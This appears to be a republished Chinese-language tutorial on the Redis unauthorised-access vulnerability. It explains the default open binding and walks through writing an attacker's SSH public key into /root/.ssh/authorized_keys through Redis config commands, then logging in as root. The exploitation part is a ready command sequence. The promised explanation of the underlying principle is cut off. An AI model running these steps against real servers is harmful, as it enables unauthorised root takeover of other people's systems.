redis未授權訪問漏洞總結


Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。

漏洞介紹:

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。

漏洞描述:

部分 Redis 綁定在 0.0.0.0:6379,並且沒有開啟認證(這是Redis 的默認配置),如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接使用對應的私鑰登錄目標服務器。

漏洞利用:

首先在本地生產公私鑰文件:

$ ssh-keygen –t rsa

然后將公鑰寫入 foo.txt 文件:

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
 

連接 Redis 寫入文件:

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

這里講解下,這里設定了crackit的鍵值為公鑰,並通過redis命令變更Redis DB 文件及存放地點為默認root用戶SSH key存放文件,並將鍵值重定向追加到遠程文件authorized_keys的末尾,也就上傳了公鑰。

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執行:

$ ssh –i  id_rsa root@192.168.1.11

可遠程利用自己的私鑰登錄該服務器。

剛剛我們提到公鑰登錄和Redis持久化存放數據操作,這里簡單講下原理

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM